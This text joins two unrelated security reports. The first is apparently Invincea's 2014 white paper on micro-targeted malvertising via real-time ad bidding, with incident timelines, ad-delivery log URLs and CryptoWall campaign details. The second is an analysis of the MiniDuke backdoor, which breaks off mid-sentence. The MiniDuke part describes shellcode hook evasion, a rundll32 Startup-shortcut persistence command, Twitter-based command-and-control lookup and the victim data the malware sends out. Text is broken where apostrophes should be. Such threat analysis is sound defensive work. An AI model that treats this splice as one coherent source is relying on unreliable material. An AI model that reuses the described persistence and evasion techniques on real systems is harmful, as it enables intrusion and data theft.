(targeted malvertising can target the public IP space of your network + or an Industrial Vertical) +Invincea, Inc. Release Date: 10.27.2014 + Invincea White Paper 4 +Real-time ad bidding allows advertisers, and by extension, adversaries, to micro-target ad delivery on an +extremely granular basis. For example, oppressive regimes trying to gather intelligence on activist +protests can deliver ads to people getting email from within a specific locality where they are protesting. +Today, it is commonplace for micro-targeting techniques to be used as part of the toolset in legitimate +online advertising. For instance, a defense contractor, trying to win a new omnibus contract, can deliver +targeted ads to online news sites frequented by Government program personnel. The latest software +product release can be delivered to Windows users visiting PC Magazine +s website. A local car dealership +can sense when someone is in the market for a new car and can deliver advertising to those users, based +solely on browsing history. +Now advanced threat actors are able to target an organization directly via micro-targeted malvertising, +based solely on their corporate network IP range. Thus, it doesn +t matter where in the world you point +your web browser -- an online video poker room, a fantasy football club homepage, a Pakistani news +homepage, or even checking your own webmail at a trusted email provider. Those ad windows can and +are being used to deliver malware if the bidding price is right. +Operation DeathClick: Targeting the US Industrial Base +Recently, multiple US Defense/Aerospace contractors were targeted by a malvertising campaign. These +contractors had deployed world-class enterprise security defense in depth approaches to protect their +intellectual property. They had next generation firewalls that relied on threat intelligence feeds to do +auto-blocking of known malicious sites. They had malware interception technology that relied on known +bad hashes to prevent malicious downloads. The multiple proxies in place subscribed to real time feeds +of known bad URLs. They deployed AV at the gateways and on the endpoints. +But in a two week period, these organizations were hit with dozens of micro-targeted malvertising attacks, +each of which would have provided a beachhead for the threat actors from which to compromise the +network, if successful. In each instance, the attacks were carried out by targeting these Defense +contractors directly via real-time ad bidding. Once targeted, an end user only needed to browse to any +website, anywhere in the world, which contained a DoubleClick ad-partner embedded window. Invincea +stopped these attacks on the endpoints by containing the delivered exploits in secure virtual containers, +while producing the forensics that led to this discovery. +Next we go in some detail about example attacks perpetrated against the defense firms. +It is important to note that the websites we show next that served up targeted malvertising were victims +of malvertising campaigns with no knowledge of the malicious ads they were serving up. These malicious +ads were served up by 3rd party networks, who are unwittingly sourcing malicious content. As we will +discuss later, the 3rd party ad networks themselves are falling victim to malicious content campaigns. +Summary for Incident at Fleaflicker.com +Invincea, Inc. Release Date: 10.27.2014 + Invincea White Paper 5 +A user visited his online fantasy football league homepage at Fleaflicker.com. As soon as the page loaded, +a malicious ad delivered a backdoor Trojan via a Java-based exploit. +Figure 1 shows a screenshot of the page that was visited. You will notice the two inline ad placements +for DoubleClick ad delivery. The malware delivered came from a compromised Polish website, and +would have installed a generic backdoor Trojan. + Figure 1: Fleaflicker.com website +Note the prominent ad placements by AdChoice, a DoubleClick affiliate. Figure 2 shows an event tree of +the exploit and malware delivered from an ad by visiting Fleaflicker.com. +Invincea, Inc. Release Date: 10.27.2014 + Invincea White Paper 6 + Figure 2: Event tree for infection from Fleaflicker.com Incident +The event tree in Figure 2 taken from Invincea +s Threat Management Console shows the exploited Java +process dropped a file called fvJcrgR0.exe, and that it likely came from Pubmatic, an ad delivery network +that allows for real time bidding to deliver ads. In this instance, the Pubmatic server redirected to a Web +server in Poland that dropped the malware. The timeline below shows the exact times and URLs visited. + Figure 3: Timeline for Fleaflicker.com Incident +Note the number of re-directs from Fleaflicker.com to different outside properties in Figure 3. +Invincea, Inc. Release Date: 10.27.2014 + Invincea White Paper 7 +Figure 4: Process Launch for Malware fvJcrgR0.exe from Fleaflicker.com Incident +Invincea Threat Management provides a quick way to search for an MD5 hash on third party sites (see +Figure 4). By clicking the VirusTotal link, the analyst will see the following VirusTotal report in Figure 5: +Figure 5: VirusTotal Report for Malware fvJcrgR0.exe from Fleaflicker.com Incident +Invincea, Inc. Release Date: 10.27.2014 + Invincea White Paper 8 +From the VirusTotal report in Figure 5, you will see that this malware is a Trojan backdoor that would likely +be used to download additional malware or to provide remote persistent access to the attacker. +Invincea, Inc. Release Date: 10.27.2014 + Invincea White Paper 9 +Summary for Incident at Gpokr.com +An employee at a defense contractor visited a free Texas Poker online game. The Poker site had +advertisements on the page, one of which launched a similar attack as seen in before on other websites +visited by employees at this firm. + Figure 6: Screenshot of Gpokr.com +It should be noted that Gpokr.com no longer appears to be serving advertisements from their site. At the +time of the incident, as seen in the logs below, an ad window was previously present. In the event tree +shown in Figure 7, you will see that the winning bid redirected to a direct-to-IP site instead of a site via +domain name. Also, above is the first indication of specific executable DLL files. Searches for these +filenames returned zero results on VirusTotal. +Invincea, Inc. Release Date: 10.27.2014 + Invincea White Paper 10 + Figure 7: Event Tree for Gpokr.com +This event on September 14 (Figure 8) shows that delivery.first-impression.com redirected directly to an +IP address, not a domain name to deliver its malicious payload. Note the multiple DLL files written to disk +and the spawning of rundll32.exe. At this point, the Invincea-protected host recognized the unauthorized +process and reverted itself to a clean state. + Figure 8: Timeline View for Event 5 + Gpokr.com +Invincea, Inc. Release Date: 10.27.2014 + Invincea White Paper 11 +Summary for Webmail.earthlink.net +In another incident an employee checked their online Earthlink account. When they replied to an email, +a new ad was loaded on a page that attempted to exploit Java. This malvertising was from the same IP +address seen in other incidents. + Figure 9: Screenshot of Webmail.earthlink.net +You will notice the inline advertisements on this page in Figure 9. The event tree in Figure 10 notes that +this was likely a spear-phish attack. The timeline will show that when the user replied to an email, the ads +on the Earthlink page refreshed, dropping the exploit code via Java. +Invincea, Inc. Release Date: 10.27.2014 + Invincea White Paper 12 + Figure 10: Event Tree for Incident 6 Webmail.earthlink.net +Note in the timeline in Figure 11, how there was a 7 minute gap between the DoubleClick ad redirect and +the delivery.first-impression.com ad. This is an indication that the page was refreshed or the ad was +refreshed on the page. The same exploit IP address from the Gpokr event is present. This event is the +oldest, happening on September 11. + Figure 11: Timeline for Incident 6 Webmail.earthlink.net +Invincea, Inc. Release Date: 10.27.2014 + Invincea White Paper 13 +Summary of Incidents in Operation DeathClick +The three examples above are samples of the more than two dozen micro-targeted attacks we have +witnessed and blocked as part of Operation DeathClick since mid-September. Defense Industrial Base +customers witnessed micro-targeted malvertising at a rate six times that of comparable private sector +companies with similar defense-in-depth capabilities. +Real-Time Bidding Networks: How it works +We observed in Operation DeathClick that real-time ad bidding networks are being used by criminal +enterprise to target companies with malicious content in order to gain persistent remote access. In +these third-party arrangements, the content is frequently not vetted because billions of impressions are +rendered in real-time. Most of the content is legitimate ads. A small fraction is malicious content linking +to landing pages that infect users. Real-time ad networks are being used, often unwittingly, and some +have taken steps to try and combat malicious use of their networks. The Online Trust Alliance is one such +industry group comprised of major software companies and ad networks working together to try and +address this problem. Our goal in this paper is to shed light on the micro-targeting of companies by +criminal enterprise employing real-time ad networks, and to aid the industry in collectively addressing +this problem. +Real-time ad bidding networks have evolved over the last ten years as a means of micro-targeting +customers with advertising content they are more likely to click-on. +From Wikipedia: + Real-time bidding (RTB) refers to the means by which ad inventory is bought and sold on a per- + impression basis, via programmatic instantaneous auction, similar to financial markets.[1] With + real-time bidding, advertising buyers bid on an impression and, if the bid is won, the buyer +s ad is + instantly displayed on the publisher +s site.[2] Real-time bidding lets advertisers manage and + optimize ads from multiple ad-networks by granting the user access to a multitude of different + networks, allowing them to create and launch advertising campaigns, prioritize networks and + allocate advertising stock. + Real-time bidding is a dynamic bidding process where each impression is bid for in (near) real time, + against a static auction where the impressions are typically bundled in groups of 1,000. + A typical transaction begins with a user visiting a website. This triggers a bid request that can + include various pieces of data such as the user +s demographic information, browsing history, + location, and the page being loaded. The request goes from the publisher to an ad exchange, + which submits it and the accompanying data to multiple advertisers who automatically submit + bids in real time to place their ads. Advertisers bid on each ad impression as it is served. The +Invincea, Inc. Release Date: 10.27.2014 + Invincea White Paper 14 + impression goes to the highest bidder and their ad is served on the page.This process is repeated + for every ad slot on the page. Real time bidding transactions typically happen within 100 + milliseconds from the moment the ad exchange received the request. + The bidding happens autonomously and advertisers set maximum bids and budgets for an + advertising campaign. The criteria for bidding on particular types of consumers can be very + complex, taking into account everything from very detailed behavioral profiles to conversion data. +The following infographic summarizes how advanced adversaries are now micro-targeting companies +using malvertising. +Invincea, Inc. Release Date: 10.27.2014 + Invincea White Paper 15 +Invincea, Inc. Release Date: 10.27.2014 + Invincea White Paper 16 +Malvertisers have Weaponized RTB +The marketplace and auction of ads sounds great for actual ads. But what if the landing pages that are +supposed to be ads are actually malicious PHP pages with embedded malware? The bidding and ad +placements work the same, but instead of seeing a flashy ad banner, the highest bidder for the placement +serves malware. The price to win the bid to push malvertising to any page you happen to visit ranges from +45 to 75 cents per impression. +A malicious advertiser on a network may serve crafted, seemingly normal ads, a majority of the time. In +fact, the ads are often stolen copies from legitimate advertisers. This establishes the attacker +s legitimacy +and trust on the ad network. Of course with real-time ad bidding, he can simply offer up low bids and his +content would consistently lose in the marketplace. But it is very simple to replace the redirection code +to switch from a legitimate ad banner to a drop site that hosts an exploit kit, typically based on Java, Flash, +Silverlight, or all three. Once the malvertiser detects that he has several infected hosts, he removes the +redirection code and goes back to serving standard ad banners. He then +burns + his temporary exploit kit +drop site, moving his exploits to another location for a new campaign. +This allows the malicious advertiser to perform hit and run attacks, infect whomever he wants at whatever +time he wants, and maintain his presence on the advertising marketplace without drawing undue +attention to his activities. +In the sections below, we will provide highlights of the RTB industry, its targeting capabilities, and show +how malvertisers have been mis-appropriating RTB networks to deliver malware. +Competitive Service Offerings for RTB +The RTB ad networks provide significant micro-targeting capabilities that have long been used to serve +legitimate content to users more likely to click on them. In the following, we describe these capabilities +to show the state of the art in RTB network capabilities. The quoted material below are direct quotes from +Real Time Bidding service providers linked. Emphasis added by Invincea. + Pubmatic: + Audience Targeting: Bid on the audiences most valuable to you. Each impression in the PubMatic + auction can be enhanced with first- and third-party data; giving buyers targeting capabilities + across display, mobile, tablet and video inventory. Media buyers can also cookie sync with + publisher audiences to incorporate CRM, retargeting and exclusion strategies in their digital + advertising. + Buyers have access to proprietary audience segments either directly through Private Marketplace + deals or through the open market. With hundreds of parameters available to you, PubMatic has + your best audiences waiting for you. +Invincea, Inc. Release Date: 10.27.2014 + Invincea White Paper 17 + With PubMatic, buyers are able to access pre-defined vertical or audience packages, seasonal + packages, publisher and/or site-specific inventory packages as well as pre-selected publisher + packages and pricing available in Private Marketplaces. + First-Impression.com + +First-Impression Buy-Side offers the granular targeting, tracking, and reporting needed to help + our clients make the most of their spend, along with an expert support team to advise when + needed. By leveraging real time buying, First-Impression Buy-Side gives media buyers the full + control to maximize the value of an impression. +Could Malvertisers Track Exploits and their cost per impression? Yes. Many RTB networks provide a +control panel to track advertising campaigns in real-time, along with notifications that bids have been won +and who exactly was served the malware. +Below is a URL redirection log from First-Impression.com from a winning bid by a malvertiser. In the URL +are parameters such as the type of ad, the type of user-agent string of the ad reader specified (which +discloses browser and java versions), whether it is a retargeted ad based off of cookies (this one was not), +the price paid, which is 65.4 cents, and the notification to the malvertiser that his malvertising was +delivered. + http://delivery.first- +impression.com/delivery?action=serve&ssp_id=3&ssp_wsid=2191400908&dssp_id=100&domain_ +id=2191400908&ad_id=748271&margin=0.4&cid=155380&bn=sj14&ip_addr=24.234.123.133&ua=15 +40937276&top_level_id=24.234.123.133&second_level_id=1540937276&page=thanhniennews.co +m&retargeted=null&height=90&width=728&idfa=null&android_id=null&android_ad_id=null&bi +d_price=0.654&count_notify=1&win_price=$AAABSMPg1dmFEPqXEZe5_CYviub3uOlabldGew + DoubleClick.net +DoubleClick discusses their targeting capabilities in online documentation. Since they specialize in +knowing the location of their ad windows, they market those ad spaces to the actual advertisers and +malvertisers, along with targeted demographics about the content pages, the visitors to the sites and +more. + To showcase the variety of impression-level data available to buyers, consider the data made + available through a connection to DoubleClick Ad Exchange +s real-time bidding API. With ADX, a + buyer could consider any of the following data passed from the seller with each impression: + + Ad slot parameters: visibility (above or below the fold), size, excluded creative attributes, + excluded advertiser URLs, allowed vendor or ad technology. + + Geo parameters: country, region, metro, city. + + Content parameters: site URL, site language, seller network, vertical or category. +Invincea, Inc. Release Date: 10.27.2014 + Invincea White Paper 18 + + User parameters: browser, operating system, anonymous cookie (hashed), cookie age. + Just like when considering one type of data, by using the anonymous cookie parameter, buyers + can consider first-party retargeting or third-party audience data from a data provider. However, + they can go further in the evaluation by looking at more of these parameters. This helps a buyer + learn much more about a particular user and a particular impression, gain a smarter answer to + the three essential questions and make a more data-driven decision. + Twitter, Facebook and other RTB ads can now target mobile devices by their phone + numbers. +This sounds like a great way to advertise if you are in the marketing industry. Consider how granularly a +person can be targeted if this service is used maliciously. If not targeted by the desktop, how about on +the mobile platform? + Twitter +s Tailored Audiences just got a little more tailored. + Advertisers can now augment their customer data using mobile advertising IDs and mobile + phone numbers as a way to reach existing customers and increase audience size. In essence, the + move is an extension of Twitter +s Tailored Audiences for CRM retargeting, which allows advertisers + to use hashed non-PII email address to retarget existing customers. (email addresses are twitter + IDs- so you could be targeted for ad delivery based on your account name or known phone + number) + Twitter also rolled out the ability to target lookalike audiences, a function that seems pretty similar + to Facebook +s tool of the same name. Twitter +s lookalike modeling uses a proprietary algorithm + that examines modeled users looking for similarities related to behaviors, interests, location, + demographic attributes and engagement patterns. + Twitter described its enhanced as +part of improved targeting options to help advertisers reach + additional users similar to their existing audiences. + Tailored Audiences, Twitter +s seeming answer to the Facebook Exchange (FBX), officially launched + back in December after running retargeting and database matching tests in July. Twitter has + appeared to follow Facebook +s lead with a number of its recent roll-outs, including site retargeting, + CRM targeting and now retargeting via lookalike audiences. (Facebook also makes it possible to + target users by phone numbers through Custom Audiences.) + Neustar.biz +Neustar does provide a real-time bidding ad exchange, but their real market is IP intelligence that they +sell to other advertising networks for the purposes of better targeting specific users. In Europe, laws +require that advertising networks allow people to opt out of having tracking cookies, which is how many +advertisers used to rely upon for ad campaign targeting. To get around this, Neustar perfected IP based +targeting, which avoids cookies. They are able to build IP specific browsing profiles based on IP subnets. +In a blog post below, Neustar boasts about their direct to IP range and enterprise advertising. +Invincea, Inc. Release Date: 10.27.2014 + Invincea White Paper 19 + How can Neustar IP Intelligence target by IP? + While IP intelligence has been around for many years, the ability to effectively target advertising + by audience, based on IP is very new. Neustar IP Intelligence is currently working with select DSP + platforms to buy impressions off of the exchanges based on the IP address rather than cookies. + This has only been possible with the recent emergence of real time bidding (RTB). The secret + sauce is in understanding the IP and the methodology necessary for targeting ads appropriately + against it. + Is an IP Address like a cookie? + No, an IP address only identifies devices on a network. The IP address does not contain any PII and + does not track or store any consumer usage or behavioral information. (But IP ranges are + registered by IANA, and you can easily know who owns the ranges) + Product Specific Questions + Q1: How does the process work? + The process works exactly like any advertising network. Instead of buying inventory based on a + cookie, Neustar is buying inventory based on an IP address. We run the targeting specifics against + our proprietary database and create a custom IP list to target against. Neustar has set up + relationships with partners that have built the functionality for this to work end-to-end for our + advertisers. + Neustar offers a full service ad network. Brand marketers who wish to advertise using IP Audience + Targeting can work directly with Neustar to determine custom IP placements, run campaigns, + optimization, reporting and billing. Much like any traditional online publisher or online ad network, + Neustar manages the entire process. + How does Neustar deliver its ads? + We use industry standard methods for delivering our ads, but what makes our approach special is + that we bake in the IP data before delivering the inventory with our network partners, which + allows us to target display ad campaigns to a specific business or organization. We obtain + inventory from ad exchanges, but have our own ad server. + Zedo +Zedo, blamed for recent malvertising via DoubleClick, say they are now trying to protect against +malvertisers in this blog here. Less than a week after this announcement, they published another blog +post that describes how they can push advertising to specific platforms, devices, as well as specific markets +and networks: + ZEDO Advertising Technology Updates + September 2014 + Device Targeting + Users can now target ads to a specific device when trafficking ads. An option for +Device + Targeting + is now available under +Targeting +. A creative targeted to a specific Device will serve + only on that Device. All major manufacturers/models are supported by this feature. If a creative is + not targeted to any specific device than it will serve on all device. +Invincea, Inc. Release Date: 10.27.2014 + Invincea White Paper 20 + Figure 13: Targeting by Device Manufacturer/Model + Apart from device, a user can target various devices based on different categories. At any given + point of time, a user can target multiple manufacturers and categories. + Figure 14: Targeting by Device Category + Reach Report by Creative + Apart from existing campaign reach report a user can now pull a reach report by creative. The + creative reach report is available along with all the existing parameters and can be pulled by + month, week or day. Creative reach report will show creative wise reach. It will help to analyze + how effective the reach of a creative was. +Major Players in RTB +Invincea, Inc. Release Date: 10.27.2014 + Invincea White Paper 21 +To be clear, RTB networks are legitimate platforms for displaying ads on ad-supported websites. They +enable micro-targeting of user +s interest, delivering content that a viewer would likely want to see. As we +have detailed here, they can also be mis-appropriated unwittingly by malvertisers using these same tools +and techniques to target companies with malware for persistent remote access in addition to traditional +click fraud, phishing, and identity theft. +Below are links to RTB providers to learn more. +http://www.sovrn.com/ +http://www.turn.com/ +http://indexexchange.com/ +https://www.dataxu.com/ +http://www.sitescout.com/rtb/ +http://first-impression.com/home/ +http://www.zedo.com/ +How Malvertisers Get $$ to Bid on RTB +Invincea has shown logs from a winning malvertising bid in the price range of 65 cents per impression. +That is one ad, on one page, paid for by the malvertiser +s account. This implies that malvertisers have +deep pockets, spending hundreds of dollars on ad impressions. So how do they get money to spend on +these malicious campaigns? +Invincea recently saw a malvertiser win a bid and delivered a Java exploit. This exploit copied a fully +functional version of Chrome into the Java cache directory, and that version of Chrome launched in the +background and proceeded to visit websites and click on specific ad banners. It is presumed that these +ad banners paid revenue via referral bonuses to the malvertiser. By paying 65 cents to install a +background web browser that does nothing but click fraud, the malvertiser is able to reap hundreds if not +thousands of dollars in advertising referral income. It is a pretty good return on investment, which in turn +allows the malvertiser to fund his micro-targeted malvertising attack campaign. +It is ironic, however, that click fraud is what is driving the prices of RTB advertising so high. Malvertising +is not only a danger to end users, but it is a danger to the advertising industry as well. The image from +Figure 14 below shows a log file of Chrome, in this instance, renamed Oajvliewxpge.exe, injected via Java +to run in the background. Invincea detected this attack and killed the infection attempt. This is one +instance where the malvertiser wasted his 65 cents. +Invincea, Inc. Release Date: 10.27.2014 + Invincea White Paper 22 +Figure 16: Event tree of click fraud malvertising exploit +It should be noted that Invincea is uniquely capable of stopping this type of attack. The introduction of +Chrome as a browser, which is whitelisted by hash across the AV industry, would go unchecked by the AV +and whitelisting applications industry. In this instance, the host was almost converted to a click-fraud bot. +But the malware delivery could have been intended for data exfiltration, banking Trojans, or any other +more insidious purpose. +Where Malvertisers Host Exploits +The ability for advertisers and malvertisers to automatically redirect to self-hosted ad content or exploit +pages is driving RTB malvertising. Invincea has witnessed a rash of exploit kits and landing pages hosted + + Compromised WordPress Blogs +Invincea, Inc. Release Date: 10.27.2014 + Invincea White Paper 23 + + Unconfigured Apache hosts + + Cloud-based NGINX subdirectories + + Government and News pages in Poland + + Free Hosting sites such as ua.in +In most instances, the landing pages are preconfigured with the exploit kit. The malvertiser creates the +redirection in his normal ad prior to raising his bids to winning levels. Once several victims are confirmed, +those malicious landing pages have the content erased, and the automatic redirection removed to serve +normal + ads again. +Real World Examples of RTB Malvertising Captured by Invincea +Figures 17 through 21 in the following are screenshots from Invincea +s Threat Management console from +various RTB-based malvertising incidents with highlighted URLs for malvertising delivered via RTB ad +bidding. +Figure 17: Recent Blaze.Com RTB Kryptik malvertising via GumGum +Figure 18: Online Ammunition Forum had RTB malvertising delivered. Exploit landing page in +In.ua. +Invincea, Inc. Release Date: 10.27.2014 + Invincea White Paper 24 +Figure 19: Largest Trading Online Forum Trade2Win.com delivered RTB malvertising via +German provider: +Figure 20: Answers.com click bait articles hosted winning RTB bids dropping Kryptik from +Polish government landing page exploit kits. +Invincea, Inc. Release Date: 10.27.2014 + Invincea White Paper 25 +Figure 21: Online Poker Room and targeted RTB attack against Defense Contractor. Java +exploit hosted at unconfigured Nginx host. +Invincea, Inc. Release Date: 10.27.2014 + Invincea White Paper 26 +Ransomware Campaign via Malvertising +In September and October of 2014, Invincea saw a sharp spike of malvertising delivering CryptoWall +ransomware attacks via Real Time Ad Bidding. We observed Real Time Ad bidding platforms, including +OpenX, GoogleAds, Yahoo, AOL, and first-impression.com, fall victim to the ransomware malvertising +scheme by unwittingly delivering the CryptoWall 2.0 ransomware ads. +Ransomware is a particularly pernicious form of malware that fully encrypts the victim +s disk and data +files, including remote storage, then demands payment of anywhere from $300 to $1000 in return for the +decryption key. Users are held hostage from their own work, pictures, personal, and proprietary material. +To learn more about the scourage of ransomware, see this blog. +Based on analysis of Invincea logs in would-be victims targeted by these ads, we have insight into the +attacker that is delivering the malicious ads. According to Invincea analysis of ads delivered from first- +impression.com, winning ad bids ranging from as low as 30 cents and as high as $1.70, were delivered by +a block of unique identifiers. It is highly likely that the same attackers are using other RTB ad platforms. +This campaign matches the characteristics described by Proofpoint in its blog in terms of the exploitation +methods. Legitimate ad copy is stolen, 3rd party ad networks used to distribute malware, and popular ad- +supported websites displaying the malicious ads that exploit unsuspecting visitors with drive-by web +exploits. Merely visiting any ad-supported site may result in a CryptoWall ransomware infection. +Cryptowall 2.0 utilizes the TOR network to hide its communications, but it quickly encrypts all local files +on the disk, and demands bitcoin payment to unlock the files. Many companies have fallen prey to this +attack over the past few months, making this one of the most successful Ransomware campaigns to date. +Invincea, Inc. Release Date: 10.27.2014 + Invincea White Paper 27 +Analysis of CryptoWall Malvertising Infections +Mitigated Infection Event Sports.Yahoo.com +Below is a typical Cryptowall 2 infection as seen in the Invincea Management Server logs. This winning +ad placement ran on sports.yahoo.com + an Alexa Top 4 rated site. Highlighted in order in Figure 22 is +the common filename of obupdat.exe, which has ever changing hashes, followed by the TOR port, and +the 3rd party ad platform of first-impression.com. +Analysis (Original report): + Figure 22: CryptoWall 2.0 infection report +Invincea, Inc. Release Date: 10.27.2014 + Invincea White Paper 28 +Timeline Analysis (Original Report): +Below in Figure 23 is the timeline of the Tor connections and SSL connections employed by CryptoWall. + Figure 23: Network connections from CryptoWall 2.0 +Invincea, Inc. Release Date: 10.27.2014 + Invincea White Paper 29 +In addition, you can see the ransom note being written to disk on an infected machine in the audit logs +in Figure 24. + Figure 24: File writes including the ransom note from CryptoWall infection +Figure 25 shows the winning malvertising bid via RTB ad delivery from first-impression.com. Items +highlighted in the URL below is userid, and the winning bid price to place malvertising of Cryptowall on +sports.yahoo.com, which is 60 cents. + Figure 25: Winning malvertising bid with fields embedded in URL +Invincea, Inc. Release Date: 10.27.2014 + Invincea White Paper 30 +In Figure 26 below, we show the unique identifiers for the userID and campaigns to deliver CryptoWall +malware that were blocked and audited by Invincea, including the websites that delivered the ads via a +third-party ad network over the past month. + userID, CampaignID and CommonName Website Delivering Malvertising + 748568&margin=0.4&cid=155493&bn=wheelie Hotair.com + 748568&margin=0.4&cid=155493&bn=wheeljack webmail comcast + 748163&margin=0.4&cid=155330&bn=wheeljack theblaze.com + 748566&margin=0.4&cid=155493&bn=redalert sports.yahoo.com + 746705&margin=0.4&cid=154897&bn=dc16 (unknown) www.searchtempest.com + 748480&margin=0.4&cid=155474&bn=redalert viewmixed.com + 748600&margin=0.4&cid=155528&bn=inferno rr webmail + 748418&margin=0.4&cid=155453&bn=inferno lucianne.com + 748270&margin=0.4&cid=155380&bn=sj10 (skipjack) thanhniennews.com + 748417&margin=0.4&cid=155453&bn=wheeljack mariowiki.com +Figure 26: Malware campaigns delivered via 3rd party ad network and the websites that hosted the +To reiterate, neither the websites listed here, nor the 3rd party ad network, necessarily was aware of the +malicious ads they were serving to the website visitors. It is likely they were not aware without ad +screening technology. +In each event above, Invincea blocked an attempt to infect an endpoint with Cryptowall 2.0 and +prevented CryptoWall from encrypting the user +s file system and holding it hostage. Had the user not +been running Invincea, the attack would likely have been successful, and the only way the user would +have had to recover the encrypted files would be to pay the attacker the ransom. This is an effective +ransom technique, and one that is paying off well for the attackers, who use the income from the +attacks to purchase Real Time Ad Bids on RTB networks to infect more users. +Central Hosting of Clean Content +Most RTB ad providers allow for advertisers to host their own ad content. This allows advertisers to +directly collect web impression data of who is hitting which ads, from where, by which IPs, which user- +agent strings, and just about anything else you could log about a website visit. In addition, the advertising +network doesn +t have to utilize their own disk space to host the image files, the flash videos or other +online content. RTB networks simply do the auctioneering and redirection to the winning content. +Invincea, Inc. Release Date: 10.27.2014 + Invincea White Paper 31 +It is this weakness in security that malvertisers are taking advantage of. If ad networks were to switch to +a model where all content is actually hosted by them (1st party hosting), in a cloud, then the risk of +malvertising would drop dramatically. +The RubiconProject has a Seller +s Cloud, which could be a security model for the RTB industry. It is +inherently more secure way of hosting ad content. +How to Protect Yourself from Micro-targeted Malvertising +Operation DeathClick is an active campaign to micro-target companies via malvertising in order to +compromise their networks. Unfortunately, the micro-targeting malvertising technique evades almost all +network controls and traditional endpoint anti-virus solutions. Invincea can protect users from this attack +type among other targeted and opportunistic web-based threats. For half the price of a candy bar, +attackers have the unprecedented ability to deliver malware to you through your web browser simply +because of your IP address space and your industry vertical. Most of the attacks featured here were not +detected by standard Anti-Virus because the malware hashes constantly change. +Web proxy blocking updates, even in real time, will not stop new malvertising landing pages that appear +and disappear within minutes. +Intelligence feeds from the premier intelligence providers, based on hostname, IP, URL or domain will not +be able to block malicious malvertisers quickly enough. +Invincea protected users can simply browse and click anything online without fear of compromise or +targeted malvertising attacks. +Non-Invincea users can attempt to OptOut of directed targeting where you can. European privacy laws +for forcing most ad providers to offer the opt-out service; however, you often have to visit each ad +provider individually to choose to opt out. +Invincea, Inc. Release Date: 10.27.2014 + Invincea White Paper 32 +Note, that opting out merely places a blocking cookie in your browser. This means that ad providers will +not target or retarget based on cookies. But as shown above, the new targeted advertising is via IP +intelligence. +http://www.rubiconproject.com/privacy/consumer-online-profile-and-opt-out/ +http://preferences-mgr.truste.com/ +http://www.ghosteryenterprise.com/global-opt-out/ +Release Notes +10/27: For clarification, Invincea has added additional notes in this version that the websites shown here +and the 3rd party real-time ad networks are being used unwittingly and their resources misappropriated +by malvertisers to target companies for persistent remote access, click fraud, and other nefarious +activities. This is not a reflection on these companies, nor the services they provide. This paper +highlights the problem for greater awareness so the industry collectively can combat this problem +perhaps with more effective screening at the source prior to displaying ads. +Invincea, Inc. Release Date: 10.27.2014 +Miniduke still duking it out +At the end of April Microsoft announced that a vulnerability in Word was actively being exploited. This +vulnerability occurred in parsing RTF files and was assigned CVE-2014-1761, a thorough analysis of which +can be found on the HP Security Research blog. We have since seen multiple cases where this exploit is +used to deliver malware and one was particularly interesting as it contained a new variant of MiniDuke +(also known as Win32/SandyEva). +MiniDuke was first discussed by Kaspersky in March 2013 in their paper The MiniDuke Mystery: PDF 0- +day Government Spy Assembler 0x29A Micro Backdoorand shortly after in a paper by Bitdefender. Some +of the characteristics of MiniDuke + such as its small size (20 KB), its crafty use of assembly +programming, and the use of zero-day exploits for distribution + made it an intriguing threat. Although +the backdoor is still quite similar to its previous versions, some important changes were made since last +year, the most notable being the introduction of a secondary component written in JScript to contact a +C&C server via Twitter. + The RTF exploit document +The exploit document was named Proposal-Cover-Sheet-English.rtf and is quite bland when compared to + the documents that were used in 2013, which were of a political nature. We received the document on +April 8th, only three days after the compilation of the MiniDuke payload, dated April 5th in the PE header. +The payload remains quite small at only 24 KB. +The functionality of the shellcode which is executed by triggering the vulnerability is rather simple and +straightforward. After decrypting itself and obtaining the addresses of some functions exported by +kernel32.dll, it decrypts and drops the payload in the %TEMP% directory in a file named + which is +subsequently loaded by calling kernel32!LoadLibraryA. +An interesting thing about the shellcode is that before transferring control to any API function it checks +the first bytes of the function in order to detect hooks and debugger breakpoints which may be set by +security software and monitoring tools. If any of these are found the shellcode skips the first 5 bytes of the +function being called by manually executing prologue instructions (mov edi, edi; push ebp; mov ebp, esp) +and then jumping to the function code as illustrated below. +The next graph presents the execution flow of this malware when the exploitation is successful. As +mentioned previously this version of the MiniDuke payload comes with two modules which we refer to as +the main module and the TwitterJS module. + Execution flow of MiniDuke +Main Component +Installation +Once MiniDuke receives control it checks that the host process is not rundll32.exe and whether the +current directory is %TEMP%. If either of those conditions is met the malware assumes it is run for the +first time and it proceeds with its installation onto the system. MiniDuke gathers information about the +system and encrypts its configuration based on that information, a method also used by OSX/Flashback +(this process is called watermarking by Bitdefender). The end result is that it is impossible to retrieve the +configuration of an encrypted payload if analyzing it on a different computer. The information collected on +infection has not changed since the previous version and consists of the following values: + volume serial number (obtained from kernel32!GetVolumeInformationA) + CPU information (obtained with the cpuidinstruction) + computer name (obtained from kernel32!GetComputerNameA) +Once the encrypted version of the malware is created, it is written into a file in the +%ALLUSERSPROFILE%\Application Data directory. The name of the file is randomly picked from the +following values (you can find this listing and those of the next screenshots on the VirusRadar description: +The filename extension is also picked randomly from the following list: +To persist on the infected system after reboots, the malware creates a hidden .LNK file in the +Startup +directory pointing to the modified main module. The name of the .LNK file is randomly drawn from the + following values: +The .LNKfile is created using a COM object with the IShellLinkA interface and contains the following +command: +C:\Windows\system32\rundll32.exe %path_to_main_module%, export_function + Which +gives something like: +C:\Windows\system32\rundll32.exe C:\DOCUME~1\ALLUSE~1\APPLIC~1\data.cat, IlqUenn +Operation +When the malware is loaded by rundll32.exe and the current directory isn +t %TEMP%, the malware starts +with gathering the same system information as described in the +Installation + section to decrypt +configuration information. As with the previous version of MiniDuke, it checks for the presence of the +following processes in the system: +If any of these are found in the system the configuration information will be decrypted incorrectly, i.e. the +malware will run on the system without any communication to C&C servers. If the configuration data is +decrypted correctly, MiniDuke retrieves the Twitter page of @FloydLSchwartz in search of URLs by +which to reach C&C server. It looks for the tag +X))) + on the page (MiniDuke was searching for +uri! +previous samples) and if the tag is found it decrypts a URL from the data that follows it. The Twitter +account @FloydLSchwartz does exist but has only retweets and no strings with the special tag. + As the next step, MiniDuke gathers the following information from the infected systems: + computer name and user domain name + country code of the infected host IP address obtained from http://www.geoiptool.com + OS version information + domain controller name, user name, groups a user account belongs to + a list of AV products installed onto the system + Internet proxy configuration + version of MiniDuke +This information is then sent to the C&C server along with the request to download a payload. The final +URL used to communicate with the C&C server looks like this: /create.php?= + Those tokens are derived as follows: + url_start + the URL retrieved from the twitter account + rnd_param + randomly generated of lower case alphabet characters parameter name in the query + string of the URL + system_info + base64 encoded and encrypted system information +An example of such a URL is given below: +The payload is downloaded in the file named +fdbywu + using the urlmon!URLDownloadToFileA API: +The downloaded payload is a 